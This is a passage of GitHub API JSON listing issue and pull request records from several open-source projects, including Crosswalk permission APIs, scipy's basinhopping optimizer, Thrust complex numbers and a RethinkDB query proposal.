thread...\r\n\r\nEDIT 4: Works without crashes on the newest version with default settings.","score":0.089615434},{"url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1579","labels_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1579/labels{/name}","comments_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1579/comments","events_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1579/events","html_url":"https://github.com/crosswalk-project/crosswalk/pull/1579","id":27496160,"number":1579,"title":"[Application] [Extension] Added two permission APIs.","user":{"login":"mbbill","id":841602,"avatar_url":"https://avatars.githubusercontent.com/u/841602","gravatar_id":"4c96f8afdf03dfe5591422ca283a0dbd","url":"https://api.github.com/users/mbbill","html_url":"https://github.com/mbbill","followers_url":"https://api.github.com/users/mbbill/followers","following_url":"https://api.github.com/users/mbbill/following{/other_user}","gists_url":"https://api.github.com/users/mbbill/gists{/gist_id}","starred_url":"https://api.github.com/users/mbbill/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mbbill/subscriptions","organizations_url":"https://api.github.com/users/mbbill/orgs","repos_url":"https://api.github.com/users/mbbill/repos","events_url":"https://api.github.com/users/mbbill/events{/privacy}","received_events_url":"https://api.github.com/users/mbbill/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":9,"created_at":"2014-02-13T05:51:57Z","updated_at":"2014-02-20T10:12:35Z","closed_at":"2014-02-20T08:49:33Z","pull_request":{"html_url":"https://github.com/crosswalk-project/crosswalk/pull/1579","diff_url":"https://github.com/crosswalk-project/crosswalk/pull/1579.diff","patch_url":"https://github.com/crosswalk-project/crosswalk/pull/1579.patch"},"body":"CheckAPIAccessControl\r\nThis API is for external extension developer. The API need to be called in the\r\nimplementation of each exported API in C or C++ code. For C extension\r\nimplantation, header file \"public/XW_Extension_Permissions.h\" should be\r\nincluded. For each API that need access sensitive data, developer should call\r\nCheckAPIAccessControl for API control. For C++ extension implantation, header\r\nfile \"xwalk/common/xwalk_external_extension.h\" should be included.\r\n\r\nRegisterPermissions\r\nThe runtime permission mapping is registered by extension which\r\nimplements some specific API, for example: \"bluetooth\" ->\r\n\"bluetooth.read, bluetooth.write, bluetooth.management\" Whenever there\r\ncomes a API permission request, we can tell whether this API is\r\nregistered, if yes, return the according permission name.","score":0.25919735},{"url":"https://api.github.com/repos/MailCore/mailcore2/issues/155","labels_url":"https://api.github.com/repos/MailCore/mailcore2/issues/155/labels{/name}","comments_url":"https://api.github.com/repos/MailCore/mailcore2/issues/155/comments","events_url":"https://api.github.com/repos/MailCore/mailcore2/issues/155/events","html_url":"https://github.com/MailCore/mailcore2/pull/155","id":16013894,"number":155,"title":"New message rendering methods on IMAP","user":{"login":"paulyoung","id":84700,"avatar_url":"https://avatars.githubusercontent.com/u/84700","gravatar_id":"ee593093b3a4aa721ad6979c752a9c9d","url":"https://api.github.com/users/paulyoung","html_url":"https://github.com/paulyoung","followers_url":"https://api.github.com/users/paulyoung/followers","following_url":"https://api.github.com/users/paulyoung/following{/other_user}","gists_url":"https://api.github.com/users/paulyoung/gists{/gist_id}","starred_url":"https://api.github.com/users/paulyoung/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/paulyoung/subscriptions","organizations_url":"https://api.github.com/users/paulyoung/orgs","repos_url":"https://api.github.com/users/paulyoung/repos","events_url":"https://api.github.com/users/paulyoung/events{/privacy}","received_events_url":"https://api.github.com/users/paulyoung/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/MailCore/mailcore2/labels/work-in-progress","name":"work-in-progress","color":"c7def8"},{"url":"https://api.github.com/repos/MailCore/mailcore2/labels/waffle%3Ain+progress","name":"waffle:in progress","color":"eac04b"}],"state":"closed","assignee":{"login":"paulyoung","id":84700,"avatar_url":"https://avatars.githubusercontent.com/u/84700","gravatar_id":"ee593093b3a4aa721ad6979c752a9c9d","url":"https://api.github.com/users/paulyoung","html_url":"https://github.com/paulyoung","followers_url":"https://api.github.com/users/paulyoung/followers","following_url":"https://api.github.com/users/paulyoung/following{/other_user}","gists_url":"https://api.github.com/users/paulyoung/gists{/gist_id}","starred_url":"https://api.github.com/users/paulyoung/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/paulyoung/subscriptions","organizations_url":"https://api.github.com/users/paulyoung/orgs","repos_url":"https://api.github.com/users/paulyoung/repos","events_url":"https://api.github.com/users/paulyoung/events{/privacy}","received_events_url":"https://api.github.com/users/paulyoung/received_events","type":"User","site_admin":false},"milestone":{"url":"https://api.github.com/repos/MailCore/mailcore2/milestones/1","labels_url":"https://api.github.com/repos/MailCore/mailcore2/milestones/1/labels","id":361723,"number":1,"title":"0.2","description":"- Improve usability of APIs\r\n- Implement OAuth 2.0\r\n","creator":{"login":"dinhviethoa","id":332168,"avatar_url":"https://avatars.githubusercontent.com/u/332168","gravatar_id":"6b2f37933bf38e2d22949f316e751757","url":"https://api.github.com/users/dinhviethoa","html_url":"https://github.com/dinhviethoa","followers_url":"https://api.github.com/users/dinhviethoa/followers","following_url":"https://api.github.com/users/dinhviethoa/following{/other_user}","gists_url":"https://api.github.com/users/dinhviethoa/gists{/gist_id}","starred_url":"https://api.github.com/users/dinhviethoa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dinhviethoa/subscriptions","organizations_url":"https://api.github.com/users/dinhviethoa/orgs","repos_url":"https://api.github.com/users/dinhviethoa/repos","events_url":"https://api.github.com/users/dinhviethoa/events{/privacy}","received_events_url":"https://api.github.com/users/dinhviethoa/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":29,"state":"closed","created_at":"2013-06-22T21:12:02Z","updated_at":"2013-07-31T17:00:39Z","due_on":"2013-07-28T07:00:00Z"},"comments":48,"created_at":"2013-06-26T03:38:48Z","updated_at":"2013-07-21T19:04:47Z","closed_at":"2013-07-12T03:33:33Z","pull_request":{"html_url":"https://github.com/MailCore/mailcore2/pull/155","diff_url":"https://github.com/MailCore/mailcore2/pull/155.diff","patch_url":"https://github.com/MailCore/mailcore2/pull/155.patch"},"body":"I'm creating a pull request so it's easier to discuss and track changes as opposed to in the issues themselves.\r\n\r\nAs discussed in #112 and #111, this is a first pass at defining the interface. Currently only includes IMAP. RFC 822 to come.\r\n\r\nI need to look further into the implementation and how the existing `IMAPMessage::htmlRendering` and `HTMLRenderer::htmlForIMAPMessage` methods work. It's unclear to me at this point if these new methods need to take additional parameters for the callbacks or if callbacks will be created within their implementation.","score":0.07660277},{"url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1375","labels_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1375/labels{/name}","comments_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1375/comments","events_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1375/events","html_url":"https://github.com/crosswalk-project/crosswalk/pull/1375","id":24606936,"number":1375,"title":"[DO NOT MERGE] [Application] Implementation of application permission system.","user":{"login":"mbbill","id":841602,"avatar_url":"https://avatars.githubusercontent.com/u/841602","gravatar_id":"4c96f8afdf03dfe5591422ca283a0dbd","url":"https://api.github.com/users/mbbill","html_url":"https://github.com/mbbill","followers_url":"https://api.github.com/users/mbbill/followers","following_url":"https://api.github.com/users/mbbill/following{/other_user}","gists_url":"https://api.github.com/users/mbbill/gists{/gist_id}","starred_url":"https://api.github.com/users/mbbill/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mbbill/subscriptions","organizations_url":"https://api.github.com/users/mbbill/orgs","repos_url":"https://api.github.com/users/mbbill/repos","events_url":"https://api.github.com/users/mbbill/events{/privacy}","received_events_url":"https://api.github.com/users/mbbill/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":36,"created_at":"2013-12-20T06:22:51Z","updated_at":"2014-02-25T01:17:43Z","closed_at":"2014-02-25T01:17:43Z","pull_request":{"html_url":"https://github.com/crosswalk-project/crosswalk/pull/1375","diff_url":"https://github.com/crosswalk-project/crosswalk/pull/1375.diff","patch_url":"https://github.com/crosswalk-project/crosswalk/pull/1375.patch"},"body":"**This patch contains following major parts implemented step-by-step:** completed steps are marked as [x]\r\n\r\n- [x] Permission check: it's unfinished because some of it's logic need to be put into the Application class which does not exist for the moment, the corresponding code in ApplicationService is ready though. The remaining tasks are marked by TODOs (Update: the missing parts are completed in the 4th commit in the PR)\r\n\r\n- [x] Permission storage: permissions should be stored in ApplicationData and eventually the database, so now we have setter and getter in the ApplicationData class and the actual db operations are done inside ApplicationStorageImpl.\r\n\r\n- [x] Permission message passing (on going): It's merged from Xu,Zhang's PR #1231 .\r\nThe following comments are copied from PR #1231\r\n\r\n This PR is related to API Access Control feature: communication functionality between extension and browser process.\r\n In this PR, a new API is public for extension developer to enforce API permission checking. The whole API Access Control feature is composed of a few PRs. This PR is one of them. Another PR related to this feature is PR#1176:Added permission group and policy management classes.\r\nThe design document of this feature can be found from https://docs.google.com/a/intel.com/document/d/137u_gxmNaIFwVzaCkCFBJyveIdZxuAydWOkMI8oWgD0/edit#heading=h.5rkmb0mvstye\r\n\r\n- [x] Fully integrate Zhang,Xu's IPC code, make the permission definitions, method names align.\r\n\r\n- [x] Switching to async response in permission check API. After this step is done, we will have a working permission system.\r\n\r\n- [x] Permission-function register.\r\n\r\n One extension may provide one or more (typically only one) set of APIs that are under corresponding permission label. For example, one extension may implement all the bluetooth.xxx() functions under permission name 'bluetooth', or more detailed permission name 'bluetooth.read, bluetooth.write, bluetooth.management' (it depends on how permission catagory is defined). The extension is responsible for registering its implemented functions and permissions after being loaded by extension system by calling a permission register function with it's permission-function mapping. The mapping is JSON string (being defined) which may look like\r\n```\r\n{ \"bluetooth\": [\"bluetooth.read\", \"bluetooth.write\"] }\r\n```\r\n\r\n----\r\n**The following features will be included In the next PR**\r\n- [ ] Define the permission-function register format.\r\n- [ ] Make the \"CheckAPIAccessControl\" work for in-process extensions.\r\n - [x] Move permission delegate from XwalkExternalExtension to the XwalkExtension class.\r\n - [ ] Implement permission delegate for in-process extensions.\r\n- [ ] OEM policy define and implementation.\r\n\r\n- [ ] UI dialog.\r\n\r\n- [ ] Permission cache in extension process\r\n\r\n**Relation with other permission-related patches**\r\n - Because of the refactor of storage system and to fit in the future application architecture, this patch deprecates the previous PR #1176\r\n\r\n - Because the permission messaging API are merged into this patch, this patch deprecates PR #1231\r\n\r\n**Some Term Explanations:**\r\n - Runtime Permission:\r\n\r\n Permission name used by runtime/extension/render process to determine a appropriate operation for a permission request.\r\n\r\n - Stored Permission:\r\n\r\n Permission name that would be stored into database during installation or after a user interaction.\r\n","score":0.10998621},{"url":"https://api.github.com/repos/cms-sw/cmssw/issues/2171","labels_url":"https://api.github.com/repos/cms-sw/cmssw/issues/2171/labels{/name}","comments_url":"https://api.github.com/repos/cms-sw/cmssw/issues/2171/comments","events_url":"https://api.github.com/repos/cms-sw/cmssw/issues/2171/events","html_url":"https://github.com/cms-sw/cmssw/pull/2171","id":26274278,"number":2171,"title":"Switching default jet collection from AK5 to AK4","user":{"login":"rappoccio","id":4267705,"avatar_url":"https://avatars.githubusercontent.com/u/4267705","gravatar_id":"bbdf4ebd75ba76d1a5b6c172c9fac57e","url":"https://api.github.com/users/rappoccio","html_url":"https://github.com/rappoccio","followers_url":"https://api.github.com/users/rappoccio/followers","following_url":"https://api.github.com/users/rappoccio/following{/other_user}","gists_url":"https://api.github.com/users/rappoccio/gists{/gist_id}","starred_url":"https://api.github.com/users/rappoccio/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rappoccio/subscriptions","organizations_url":"https://api.github.com/users/rappoccio/orgs","repos_url":"https://api.github.com/users/rappoccio/repos","events_url":"https://api.github.com/users/rappoccio/events{/privacy}","received_events_url":"https://api.github.com/users/rappoccio/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/reconstruction-pending","name":"reconstruction-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/simulation-pending","name":"simulation-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/dqm-pending","name":"dqm-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/hlt-pending","name":"hlt-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/core-pending","name":"core-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/analysis-pending","name":"analysis-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/alca-pending","name":"alca-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/docs-pending","name":"docs-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/fastsim-pending","name":"fastsim-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/db-pending","name":"db-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/generators-pending","name":"generators-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/geometry-pending","name":"geometry-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/operations-pending","name":"operations-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/pending-signatures","name":"pending-signatures","color":"eb6420"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/tests-pending","name":"tests-pending","color":"fbca04"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/cms-sw/cmssw/milestones/39","labels_url":"https://api.github.com/repos/cms-sw/cmssw/milestones/39/labels","id":578758,"number":39,"title":"CMSSW_7_1_0_pre4","description":"","creator":{"login":"nclopezo","id":1944922,"avatar_url":"https://avatars.githubusercontent.com/u/1944922","gravatar_id":"c37878ac7a56b492e4f8df2a94abbd49","url":"https://api.github.com/users/nclopezo","html_url":"https://github.com/nclopezo","followers_url":"https://api.github.com/users/nclopezo/followers","following_url":"https://api.github.com/users/nclopezo/following{/other_user}","gists_url":"https://api.github.com/users/nclopezo/gists{/gist_id}","starred_url":"https://api.github.com/users/nclopezo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nclopezo/subscriptions","organizations_url":"https://api.github.com/users/nclopezo/orgs","repos_url":"https://api.github.com/users/nclopezo/repos","events_url":"https://api.github.com/users/nclopezo/events{/privacy}","received_events_url":"https://api.github.com/users/nclopezo/received_events","type":"User","site_admin":false},"open_issues":32,"closed_issues":195,"state":"open","created_at":"2014-02-24T15:26:25Z","updated_at":"2014-03-03T00:08:27Z","due_on":"2014-03-03T08:00:00Z"},"comments":125,"created_at":"2014-01-24T22:00:16Z","updated_at":"2014-03-03T03:10:17Z","closed_at":null,"pull_request":{"html_url":"https://github.com/cms-sw/cmssw/pull/2171","diff_url":"https://github.com/cms-sw/cmssw/pull/2171.diff","patch_url":"https://github.com/cms-sw/cmssw/pull/2171.patch"},"body":"Here I have changed the default jet collection for downstream modules from AK5 to AK4. This affects : \r\n* b-tagging\r\n* tau-tagging\r\n* HLT\r\n* PFBRECO\r\n* Type1 MET\r\n* Isolation cones.\r\n\r\nI have not self-ported changes of hard-coded cone sizes from 0.5 to 0.4, except in the Jet RECO packages. There are probably pieces in BTagging and TauTagging code that use cone sizes and must change for consistency. ","score":0.15000954},{"url":"https://api.github.com/repos/thrust/thrust/issues/449","labels_url":"https://api.github.com/repos/thrust/thrust/issues/449/labels{/name}","comments_url":"https://api.github.com/repos/thrust/thrust/issues/449/comments","events_url":"https://api.github.com/repos/thrust/thrust/issues/449/events","html_url":"https://github.com/thrust/thrust/pull/449","id":23604237,"number":449,"title":"Thrust equivalent to std::complex","user":{"login":"FilipeMaia","id":147838,"avatar_url":"https://avatars.githubusercontent.com/u/147838","gravatar_id":"2dabf758ddced52241ac0ca9a5a9f921","url":"https://api.github.com/users/FilipeMaia","html_url":"https://github.com/FilipeMaia","followers_url":"https://api.github.com/users/FilipeMaia/followers","following_url":"https://api.github.com/users/FilipeMaia/following{/other_user}","gists_url":"https://api.github.com/users/FilipeMaia/gists{/gist_id}","starred_url":"https://api.github.com/users/FilipeMaia/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FilipeMaia/subscriptions","organizations_url":"https://api.github.com/users/FilipeMaia/orgs","repos_url":"https://api.github.com/users/FilipeMaia/repos","events_url":"https://api.github.com/users/FilipeMaia/events{/privacy}","received_events_url":"https://api.github.com/users/FilipeMaia/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":39,"created_at":"2013-12-02T21:45:45Z","updated_at":"2013-12-13T22:30:53Z","closed_at":"2013-12-13T21:40:17Z","pull_request":{"html_url":"https://github.com/thrust/thrust/pull/449","diff_url":"https://github.com/thrust/thrust/pull/449.diff","patch_url":"https://github.com/thrust/thrust/pull/449.patch"},"body":"I've put all the code inside thrust/detail/complex. I've also create the unittests and documentation.\r\n\r\nI've ported FreeBSDs c99 complex implementation, as it seems to be the highest quality available.\r\nAll the functions, except for pow, are accurate to within a few ULPs. \r\n\r\nComplex atan() and atanh() require C++11 due to the lack of real atanh() in previous versions.\r\n\r\nI've tested with g++ and clang++ but I didn't have the opportunity to try with msvc as I don't have access to it.","score":0.2484173},{"url":"https://api.github.com/repos/scipy/scipy/issues/335","labels_url":"https://api.github.com/repos/scipy/scipy/issues/335/labels{/name}","comments_url":"https://api.github.com/repos/scipy/scipy/issues/335/comments","events_url":"https://api.github.com/repos/scipy/scipy/issues/335/events","html_url":"https://github.com/scipy/scipy/pull/335","id":7446030,"number":335,"title":"new global optimization algorithm, basinhopping","user":{"login":"js850","id":1587384,"avatar_url":"https://avatars.githubusercontent.com/u/1587384","gravatar_id":"82f48a33b2171e33c287ba17fe24dab1","url":"https://api.github.com/users/js850","html_url":"https://github.com/js850","followers_url":"https://api.github.com/users/js850/followers","following_url":"https://api.github.com/users/js850/following{/other_user}","gists_url":"https://api.github.com/users/js850/gists{/gist_id}","starred_url":"https://api.github.com/users/js850/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/js850/subscriptions","organizations_url":"https://api.github.com/users/js850/orgs","repos_url":"https://api.github.com/users/js850/repos","events_url":"https://api.github.com/users/js850/events{/privacy}","received_events_url":"https://api.github.com/users/js850/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":85,"created_at":"2012-10-09T12:38:25Z","updated_at":"2013-02-03T22:01:33Z","closed_at":"2013-02-03T20:22:12Z","pull_request":{"html_url":"https://github.com/scipy/scipy/pull/335","diff_url":"https://github.com/scipy/scipy/pull/335.diff","patch_url":"https://github.com/scipy/scipy/pull/335.patch"},"body":"Hi, I wrote an implementation of the basinhopping global optimization algorithm and I think it would be a useful addition to scipy.optimize. It's a powerful algorithm, but all the hard work would be done by the minimizers that already exist in scipy.optimize, so the additional code needed is really not very much.\r\n\r\nThe following is from the documentation notes:\r\n\r\nBasin hopping is a random algorithm which attempts to find the global minimum of a smooth scalar function of one or more variables. The algorithm was originally described by David Wales http://www-wales.ch.cam.ac.uk/ . The algorithm is iterative with each iteration composed of the following steps\r\n\r\n 1) random displacement of the coordinates\r\n\r\n 2) local minimization\r\n\r\n 3) accept or reject the new coordinates based on the minimized function\r\n value.\r\n\r\nThis global minimization method has been shown to be extremely efficient on a wide variety of problems in physics and chemistry. It is especially efficient when the function has many minima separated by large barriers. See the cambridge cluster database http://www-wales.ch.cam.ac.uk/CCD.html for database of molecular systems that have been optimized primarily using basin hopping. This database includes minimization problems exceeding 300 degrees of freedom.\r\n\r\nThanks,\r\nJake\r\n\r\np.s. this is my first submission\r\n\r\np.p.s. I'm not totally sure I did all the documentation completely correctly.","score":0.06290573},{"url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/issues/35","labels_url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/issues/35/labels{/name}","comments_url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/issues/35/comments","events_url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/issues/35/events","html_url":"https://github.com/TheWhisp/android_device_samsung_msm7x27a-common/issues/35","id":18228199,"number":35,"title":"White Screen at cm10.1 Build 18.07.2013 (G)","user":{"login":"fredhy91","id":4696489,"avatar_url":"https://avatars.githubusercontent.com/u/4696489","gravatar_id":"d96cd8f6dcf06e180a7727ca749f6ab7","url":"https://api.github.com/users/fredhy91","html_url":"https://github.com/fredhy91","followers_url":"https://api.github.com/users/fredhy91/followers","following_url":"https://api.github.com/users/fredhy91/following{/other_user}","gists_url":"https://api.github.com/users/fredhy91/gists{/gist_id}","starred_url":"https://api.github.com/users/fredhy91/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fredhy91/subscriptions","organizations_url":"https://api.github.com/users/fredhy91/orgs","repos_url":"https://api.github.com/users/fredhy91/repos","events_url":"https://api.github.com/users/fredhy91/events{/privacy}","received_events_url":"https://api.github.com/users/fredhy91/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/labels/bug","name":"bug","color":"fc2929"},{"url":"https://api.github.com/repos/TheWhisp/android_device_samsung_msm7x27a-common/labels/not-on-all-devices","name":"not-on-all-devices","color":"207de5"}],"state":"open","assignee":null,"milestone":null,"comments":124,"created_at":"2013-08-19T08:35:56Z","updated_at":"2014-02-28T11:46:43Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Thank u for ur hard theWhisp, I flash ur new build for cm 10.1 but after i lock my device the home button and the power button only show the white screen and after that only reboot the device that i can do, nothing else. ","score":0.22806776},{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/1096","labels_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/1096/labels{/name}","comments_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/1096/comments","events_url":"https://api.github.com/repos/rethinkdb/rethinkdb/issues/1096/events","html_url":"https://github.com/rethinkdb/rethinkdb/issues/1096","id":16181994,"number":1096,"title":"Proposal: `r.group.map.reduce`","user":{"login":"coffeemug","id":48436,"avatar_url":"https://avatars.githubusercontent.com/u/48436","gravatar_id":"fedc0598a0eae3f7eac98ea84e597f20","url":"https://api.github.com/users/coffeemug","html_url":"https://github.com/coffeemug","followers_url":"https://api.github.com/users/coffeemug/followers","following_url":"https://api.github.com/users/coffeemug/following{/other_user}","gists_url":"https://api.github.com/users/coffeemug/gists{/gist_id}","starred_url":"https://api.github.com/users/coffeemug/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coffeemug/subscriptions","organizations_url":"https://api.github.com/users/coffeemug/orgs","repos_url":"https://api.github.com/users/coffeemug/repos","events_url":"https://api.github.com/users/coffeemug/events{/privacy}","received_events_url":"https://api.github.com/users/coffeemug/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/labels/tp%3ARQL_proposal","name":"tp:RQL_proposal","color":"0052cc"}],"state":"closed","assignee":{"login":"mlucy","id":1777134,"avatar_url":"https://avatars.githubusercontent.com/u/1777134","gravatar_id":"5c96c1013fdc26a6d880dd41cdb3af3e","url":"https://api.github.com/users/mlucy","html_url":"https://github.com/mlucy","followers_url":"https://api.github.com/users/mlucy/followers","following_url":"https://api.github.com/users/mlucy/following{/other_user}","gists_url":"https://api.github.com/users/mlucy/gists{/gist_id}","starred_url":"https://api.github.com/users/mlucy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mlucy/subscriptions","organizations_url":"https://api.github.com/users/mlucy/orgs","repos_url":"https://api.github.com/users/mlucy/repos","events_url":"https://api.github.com/users/mlucy/events{/privacy}","received_events_url":"https://api.github.com/users/mlucy/received_events","type":"User","site_admin":false},"milestone":{"url":"https://api.github.com/repos/rethinkdb/rethinkdb/milestones/53","labels_url":"https://api.github.com/repos/rethinkdb/rethinkdb/milestones/53/labels","id":489609,"number":53,"title":"1.12","description":"","creator":{"login":"coffeemug","id":48436,"avatar_url":"https://avatars.githubusercontent.com/u/48436","gravatar_id":"fedc0598a0eae3f7eac98ea84e597f20","url":"https://api.github.com/users/coffeemug","html_url":"https://github.com/coffeemug","followers_url":"https://api.github.com/users/coffeemug/followers","following_url":"https://api.github.com/users/coffeemug/following{/other_user}","gists_url":"https://api.github.com/users/coffeemug/gists{/gist_id}","starred_url":"https://api.github.com/users/coffeemug/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coffeemug/subscriptions","organizations_url":"https://api.github.com/users/coffeemug/orgs","repos_url":"https://api.github.com/users/coffeemug/repos","events_url":"https://api.github.com/users/coffeemug/events{/privacy}","received_events_url":"https://api.github.com/users/coffeemug/received_events","type":"User","site_admin":false},"open_issues":16,"closed_issues":124,"state":"open","created_at":"2013-11-19T09:47:10Z","updated_at":"2014-03-01T13:33:18Z","due_on":"2014-02-22T08:00:00Z"},"comments":122,"created_at":"2013-06-30T00:15:29Z","updated_at":"2014-02-21T02:27:20Z","closed_at":"2014-02-21T00:27:06Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This proposal includes a number of changes.\r\n\r\n* Introduce the `group` command\r\n\r\n```javascript\r\nr.table('foo').group('a', 'b').typeOf()\r\n// GROUPEDSTREAM\r\n\r\nr.table('foo').group('a', 'b')\r\n// Errors: `GROUPEDSTREAM is an opaque type`\r\n\r\nr.table('foo').group('a', 'b').map(...).typeOf()\r\n// GROUPEDSTREAM\r\n\r\n// Finally, google/hadoop-style map reduce is accessible to regular people:\r\nr.table('foo').group('a', 'b').map(...).reduce(...).typeOf()\r\n// STREAM\r\n```\r\n\r\n* Get rid of base in reduce, and make reduce variadic. Have reduce accept either reduction functions, or aggregators:\r\n\r\n```javascript\r\nr.table('users').group('location').reduce(r.sum('age'),\r\n r.avg('age'),\r\n function(i, j) { return ...; })\r\n// returns [{group: ..., reduction1: ..., reduction2: ..., reduction3: ...}]\r\n```\r\n\r\n* Allow naming groups and reductions because calling them `group` and `reduction1`, `reduction2` isn't extremely useful.\r\n\r\n```javascript\r\nr.table('users').group('location', {'name': location}).\r\n reduce(r.sum('age', {name: 'age_sum'}),\r\n r.avg('age', {name: 'age_avg'}),\r\n function(i, j) { return ...; } // TODO: not sure how to name this. Ideas?\r\n )\r\n// returns [{location: ..., age_sum: ..., age_avg: ..., ???: ...}]\r\n```\r\n\r\n* Consider dropping `groupBy`. We might want to consider leaving it as sugar for `.group.reduce`, because people are used to things like `groupBy`. I'm not 100% sure what to do here.","score":0.042895522},{"url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/issues/85","labels_url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/issues/85/labels{/name}","comments_url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/issues/85/comments","events_url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/issues/85/events","html_url":"https://github.com/JoSchaap/GoT_Wasteland_V2.Stratis/issues/85","id":17296637,"number":85,"title":"v2.3 discussion - please use this for discussion","user":{"login":"JoSchaap","id":2301588,"avatar_url":"https://avatars.githubusercontent.com/u/2301588","gravatar_id":"0049478f655910571a6b6b323e169bb9","url":"https://api.github.com/users/JoSchaap","html_url":"https://github.com/JoSchaap","followers_url":"https://api.github.com/users/JoSchaap/followers","following_url":"https://api.github.com/users/JoSchaap/following{/other_user}","gists_url":"https://api.github.com/users/JoSchaap/gists{/gist_id}","starred_url":"https://api.github.com/users/JoSchaap/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JoSchaap/subscriptions","organizations_url":"https://api.github.com/users/JoSchaap/orgs","repos_url":"https://api.github.com/users/JoSchaap/repos","events_url":"https://api.github.com/users/JoSchaap/events{/privacy}","received_events_url":"https://api.github.com/users/JoSchaap/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/labels/bug","name":"bug","color":"fc2929"},{"url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/labels/enhancement","name":"enhancement","color":"84b6eb"}],"state":"closed","assignee":{"login":"JoSchaap","id":2301588,"avatar_url":"https://avatars.githubusercontent.com/u/2301588","gravatar_id":"0049478f655910571a6b6b323e169bb9","url":"https://api.github.com/users/JoSchaap","html_url":"https://github.com/JoSchaap","followers_url":"https://api.github.com/users/JoSchaap/followers","following_url":"https://api.github.com/users/JoSchaap/following{/other_user}","gists_url":"https://api.github.com/users/JoSchaap/gists{/gist_id}","starred_url":"https://api.github.com/users/JoSchaap/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JoSchaap/subscriptions","organizations_url":"https://api.github.com/users/JoSchaap/orgs","repos_url":"https://api.github.com/users/JoSchaap/repos","events_url":"https://api.github.com/users/JoSchaap/events{/privacy}","received_events_url":"https://api.github.com/users/JoSchaap/received_events","type":"User","site_admin":false},"milestone":{"url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/milestones/5","labels_url":"https://api.github.com/repos/JoSchaap/GoT_Wasteland_V2.Stratis/milestones/5/labels","id":368680,"number":5,"title":"v2.3","description":null,"creator":{"login":"JoSchaap","id":2301588,"avatar_url":"https://avatars.githubusercontent.com/u/2301588","gravatar_id":"0049478f655910571a6b6b323e169bb9","url":"https://api.github.com/users/JoSchaap","html_url":"https://github.com/JoSchaap","followers_url":"https://api.github.com/users/JoSchaap/followers","following_url":"https://api.github.com/users/JoSchaap/following{/other_user}","gists_url":"https://api.github.com/users/JoSchaap/gists{/gist_id}","starred_url":"https://api.github.com/users/JoSchaap/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JoSch